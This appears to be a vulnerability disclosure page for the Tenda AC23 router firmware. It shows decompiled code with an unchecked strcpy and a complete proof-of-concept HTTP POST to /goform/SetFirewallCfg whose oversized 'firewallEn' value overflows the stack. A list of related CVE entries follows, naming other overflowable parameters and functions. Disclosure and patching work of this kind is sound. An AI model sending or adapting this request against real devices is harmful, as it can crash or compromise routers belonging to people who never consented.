  memset(v9, 0, sizeof(v9));
  s = (char \*)websGetVar(a1, "firewallEn", "1111");
  if ( strlen(s) \>\= 4 )
  {
    strcpy((char \*)v6, s);

**poc**

POST /goform/SetFirewallCfg HTTP/1.1
Host: 192.168.0.1
Content-Length: 764
Accept: \*/\*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/firewall.html?random=0.3855955678045606&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: password=1bbd886460827015e5d605ed44252251izccvb
Connection: close

firewallEn=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

CVE-2022-43105: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the wpapsk_crypto parameter in the fromSetWirelessRepeat function.

CVE-2022-43104: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the devName parameter in the formSetDeviceName function.

CVE-2022-43101: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the timeZone parameter in the fromSetSysTime function.

CVE-2022-43102: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the schedStartTime parameter in the setSchedWifi function.

CVE-2022-43106: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the list parameter in the formSetQosBand function.

CVE-2022-43103: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

Tenda AC23 V16.03.07.45_cn was discovered to contain a stack overflow via the firewallEn parameter in the formSetFirewallCfg function.

Tag

#wifi